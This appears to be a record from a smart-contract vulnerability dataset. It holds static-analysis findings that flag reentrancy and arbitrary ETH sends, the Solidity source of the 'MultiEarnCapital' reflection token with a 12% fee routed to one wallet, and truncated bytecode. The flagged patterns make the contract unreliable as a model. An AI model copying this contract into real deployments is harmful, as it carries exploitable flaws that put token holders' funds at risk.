85565b600047905060008111156120055761200447612131565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120b15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120bb57600090505b6120c78484848461267f565b50505050565b6000838311158290612115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210c91906133be565b60405180910390fd5b50600083856121249190613797565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612194600461218660068661233b90919063ffffffff16565b6122c090919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121bf573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612223600261221560068661233b90919063ffffffff16565b6122c090919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561224e573d6000803e3d6000fd5b5050565b6000600654821115612299576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229090613400565b60405180910390fd5b60006122a36126ac565b90506122b8818461233b90919063ffffffff16565b915050919050565b6000808314156122d35760009050612335565b600082846122e1919061373d565b90508284826122f0919061370c565b14612330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612327906134a0565b60405180910390fd5b809150505b92915050565b600061237d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126d7565b905092915050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123e3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156124115781602001602082028036833780820191505090505b509050308160008151811061244f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124f157600080fd5b505afa158015612505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125299190612e0a565b81600181518110612563577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125ca30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461163c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161262e95949392919061359b565b600060405180830381600087803b15801561264857600080fd5b505af115801561265c573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b8061268d5761268c61273a565b5b61269884848461276b565b806126a6576126a5612936565b5b50505050565b60008060006126b9612948565b915091506126d0818361233b90919063ffffffff16565b9250505090565b6000808311829061271e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271591906133be565b60405180910390fd5b506000838561272d919061370c565b9050809150509392505050565b600060085414801561274e57506000600954145b1561275857612769565b600060088190555060006009819055505b565b60008060008060008061277d876129a7565b9550955095509550955095506127db86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a5990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128bc81612ab7565b6128c68483612b74565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516129239190613580565b60405180910390a3505050505050505050565b60056008819055506004600981905550565b600080600060065490506000670de0b6b3a7640000905061297c670de0b6b3a764000060065461233b90919063ffffffff16565b82101561299a57600654670de0b6b3a76400009350935050506129a3565b81819350935050505b9091565b60008060008060008060008060006129c48a600854600954612bae565b92509250925060006129d46126ac565b905060008060006129e78e878787612c44565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120cd565b905092915050565b6000808284612a6891906136b6565b905083811015612aad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa490613460565b60405180910390fd5b8091505092915050565b6000612ac16126ac565b90506000612ad882846122c090919063ffffffff16565b9050612b2c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a5990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b8982600654612a0f90919063ffffffff16565b600681905550612ba481600754612a5990919063ffffffff16565b6007819055505050565b600080600080612bda6064612bcc888a6122c090919063ffffffff16565b61233b90919063ffffffff16565b90506000612c046064612bf6888b6122c090919063ffffffff16565b61233b90919063ffffffff16565b90506000612c2d82612c1f858c612a0f90919063ffffffff16565b612a0f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c5d85896122c090919063ffffffff16565b90506000612c7486896122c090919063ffffffff16565b90506000612c8b87896122c090919063ffffffff16565b90506000612cb482612ca68587612a0f90919063ffffffff16565b612a0f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612ce0612cdb84613635565b613610565b90508083825260208201905082856020860282011115612cff57600080fd5b60005b85811015612d2f5781612d158882612d39565b845260208401935060208301925050600181019050612d02565b5050509392505050565b600081359050612d4881613c9c565b92915050565b600081519050612d5d81613c9c565b92915050565b600082601f830112612d7457600080fd5b8135612d84848260208601612ccd565b91505092915050565b600081359050612d9c81613cb3565b92915050565b600081519050612db181613cb3565b92915050565b600081359050612dc681613cca565b92915050565b600081519050612ddb81613cca565b92915050565b600060208284031215612df357600080fd5b6000612e0184828501612d39565b91505092915050565b600060208284031215612e1c57600080fd5b6000612e2a84828501612d4e565b91505092915050565b60008060408385031215612e4657600080fd5b6000612e5485828601612d39565b9250506020612e6585828601612d39565b9150509250929050565b600080600060608486031215612e8457600080fd5b6000612e9286828701612d39565b9350506020612ea386828701612d39565b9250506040612eb486828701612db7565b9150509250925092565b60008060408385031215612ed157600080fd5b6000612edf85828601612d39565b9250506020612ef085828601612db7565b9150509250929050565b600060208284031215612f0c57600080fd5b600082013567ffffffffffffffff811115612f2657600080fd5b612f3284828501612d63565b91505092915050565b600060208284031215612f4d57600080fd5b6000612f5b84828501612d8d565b91505092915050565b600060208284031215612f7657600080fd5b6000612f8484828501612da2565b91505092915050565b600060208284031215612f9f57600080fd5b6000612fad84828501612db7565b91505092915050565b600080600060608486031215612fcb57600080fd5b6000612fd986828701612dcc565b9350506020612fea86828701612dcc565b9250506040612ffb86828701612dcc565b9150509250925092565b6000613011838361301d565b60208301905092915050565b613026816137cb565b82525050565b613035816137cb565b82525050565b600061304682613671565b6130508185613694565b935061305b83613661565b8060005b8381101561308c5781516130738882613005565b975061307e83613687565b92505060018101905061305f565b5085935050505092915050565b6130a2816137dd565b82525050565b6130b181613820565b82525050565b60006130c28261367c565b6130cc81856136a5565b93506130dc818560208601613832565b6130e58161396c565b840191505092915050565b60006130fd6023836136a5565b91506131088261397d565b604082019050919050565b6000613120602a836136a5565b915061312b826139cc565b604082019050919050565b60006131436022836136a5565b915061314e82613a1b565b604082019050919050565b6000613166601b836136a5565b915061317182613a6a565b602082019050919050565b6000613189601b836136a5565b915061319482613a93565b602082019050919050565b60006131ac601d836136a5565b91506131b782613abc565b602082019050919050565b60006131cf6021836136a5565b91506131da82613ae5565b604082019050919050565b60006131f26020836136a5565b91506131fd82613b34565b602082019050919050565b60006132156029836136a5565b915061322082613b5d565b604082019050919050565b60006132386025836136a5565b915061324382613bac565b604082019050919050565b600061325b6024836136a5565b915061326682613bfb565b604082019050919050565b600061327e6017836136a5565b915061328982613c4a565b602082019050919050565b60006132a16011836136a5565b91506132ac82613c73565b602082019050919050565b6132c081613809565b82525050565b6132cf81613813565b82525050565b60006020820190506132ea600083018461302c565b92915050565b6000604082019050613305600083018561302c565b613312602083018461302c565b9392505050565b600060408201905061332e600083018561302c565b61333b60208301846132b7565b9392505050565b600060c082019050613357600083018961302c565b61336460208301886132b7565b61337160408301876130a8565b61337e60608301866130a8565b61338b608083018561302c565b61339860a08301846132b7565b979650505050505050565b60006020820190506133b86000830184613099565b92915050565b600060208201905081810360008301526133d881846130b7565b905092915050565b600060208201905081810360008301526133f9816130f0565b9050919050565b6000602082019050818103600083015261341981613113565b9050919050565b6000602082019050818103600083015261343981613136565b9050919050565b6000602082019050818103600083015261345981613159565b9050919050565b600060208201905081810360008301526134798161317c565b9050919050565b600060208201905081810360008301526134998161319f565b9050919050565b600060208201905081810360008301526134b9816131c2565b9050919050565b600060208201905081810360008301526134d9816131e5565b9050919050565b600060208201905081810360008301526134f981613208565b9050919050565b600060208201905081810360008301526135198161322b565b9050919050565b600060208201905081810360008301526135398161324e565b9050919050565b6000602082019050818103600083015261355981613271565b9050919050565b6000602082019050818103600083015261357981613294565b9050919050565b600060208201905061359560008301846132b7565b92915050565b600060a0820190506135b060008301886132b7565b6135bd60208301876130a8565b81810360408301526135cf818661303b565b90506135de606083018561302c565b6135eb60808301846132b7565b9695505050505050565b600060208201905061360a60008301846132c6565b92915050565b600061361a61362b565b90506136268282613865565b919050565b6000604051905090565b600067ffffffffffffffff8211156136505761364f61393d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136c182613809565b91506136cc83613809565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613701576137006138df565b5b828201905092915050565b600061371782613809565b915061372283613809565b9250826137325761373161390e565b5b828204905092915050565b600061374882613809565b915061375383613809565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561378c5761378b6138df565b5b828202905092915050565b60006137a282613809565b91506137ad83613809565b9250828210156137c0576137bf6138df565b5b828203905092915050565b60006137d6826137e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061382b82613809565b9050919050565b60005b83811015613850578082015181840152602081019050613835565b8381111561385f576000848401525b50505050565b61386e8261396c565b810181811067ffffffffffffffff8211171561388d5761388c61393d565b5b80604052505050565b60006138a182613809565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d4576138d36138df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f7465616d4665652073686f756c6420626520696e2031202d2032350000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613ca5816137cb565b8114613cb057600080fd5b50565b613cbc816137dd565b8114613cc757600080fd5b50565b613cd381613809565b8114613cde57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201b4fdfa6188e7153cb3493372aa9ee279b149b0ab223d413e08bb214834432d164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,147 |
0x8bea41944bf2d13c1814965391683186413cef12
|
/**
*Submitted for verification at Etherscan.io on 2021-11-24
*/
/**
TG: https://t.me/MultiEarnCapital
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MultiEarnCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "MultiEarnCapital";
string private constant _symbol = "MEC";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x9349D329eFdd47ac3680C8144d15275c094671fD);
_feeAddrWallet2 = payable(0x9349D329eFdd47ac3680C8144d15275c094671fD);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 40000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102dd578063c3c8cd801461031a578063c9567bf914610331578063dd62ed3e14610348576100f3565b806370a0823114610233578063715018a6146102705780638da5cb5b1461028757806395d89b41146102b2576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c85780635932ead1146101f35780636fc3eaec1461021c576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a919061219f565b60405180910390f35b34801561012f57600080fd5b5061014a6004803603810190610145919061225a565b6103c2565b60405161015791906122b5565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b60405161018291906122df565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906122fa565b6103f1565b6040516101bf91906122b5565b60405180910390f35b3480156101d457600080fd5b506101dd6104ca565b6040516101ea9190612369565b60405180910390f35b3480156101ff57600080fd5b5061021a600480360381019061021591906123b0565b6104d3565b005b34801561022857600080fd5b50610231610585565b005b34801561023f57600080fd5b5061025a600480360381019061025591906123dd565b6105f7565b60405161026791906122df565b60405180910390f35b34801561027c57600080fd5b50610285610648565b005b34801561029357600080fd5b5061029c61079b565b6040516102a99190612419565b60405180910390f35b3480156102be57600080fd5b506102c76107c4565b6040516102d4919061219f565b60405180910390f35b3480156102e957600080fd5b5061030460048036038101906102ff919061225a565b610801565b60405161031191906122b5565b60405180910390f35b34801561032657600080fd5b5061032f61081f565b005b34801561033d57600080fd5b50610346610899565b005b34801561035457600080fd5b5061036f600480360381019061036a9190612434565b610dab565b60405161037c91906122df565b60405180910390f35b60606040518060400160405280601081526020017f4d756c74694561726e4361706974616c00000000000000000000000000000000815250905090565b60006103d66103cf610e32565b8484610e3a565b6001905092915050565b6000683635c9adc5dea00000905090565b60006103fe848484611005565b6104bf8461040a610e32565b6104ba85604051806060016040528060288152602001612e8460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610470610e32565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160a9092919063ffffffff16565b610e3a565b600190509392505050565b60006009905090565b6104db610e32565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055f906124c0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105c6610e32565b73ffffffffffffffffffffffffffffffffffffffff16146105e657600080fd5b60004790506105f48161166e565b50565b6000610641600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611769565b9050919050565b610650610e32565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d4906124c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4d45430000000000000000000000000000000000000000000000000000000000815250905090565b600061081561080e610e32565b8484611005565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610860610e32565b73ffffffffffffffffffffffffffffffffffffffff161461088057600080fd5b600061088b306105f7565b9050610896816117d7565b50565b6108a1610e32565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610925906124c0565b60405180910390fd5b600f60149054906101000a900460ff161561097e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109759061252c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a0e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000610e3a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7d9190612561565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612561565b6040518363ffffffff1660e01b8152600401610b2592919061258e565b6020604051808303816000875af1158015610b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b689190612561565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610bf1306105f7565b600080610bfc61079b565b426040518863ffffffff1660e01b8152600401610c1e969594939291906125fc565b60606040518083038185885af1158015610c3c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c619190612672565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555068022b1c8c1227a000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d649291906126c5565b6020604051808303816000875af1158015610d83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da79190612703565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffff